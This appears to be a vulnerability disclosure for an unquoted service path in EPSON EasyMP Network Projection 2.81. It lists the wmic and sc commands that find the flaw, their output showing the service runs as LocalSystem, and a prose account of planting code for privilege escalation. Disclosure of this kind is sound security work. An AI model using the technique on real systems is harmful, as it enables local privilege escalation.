# Exploit Title: EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-02-13
# Vendor Homepage: https://epson.com/support/easymp-network-projection-v2-86-for-windows
# Software Link :https://ftp.epson.com/drivers/epson16189.exe
# SEIKO EPSON CORP
# Tested Version: 2.81
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en
# Step to discover Unquoted Service Path:
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "EPSON" | findstr /i /v """
EMP_NSWLSV EMP_NSWLSV C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe Auto
C:\>sc qc "EMP_NSWLSV"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: EMP_NSWLSV
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : EMP_NSWLSV
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.
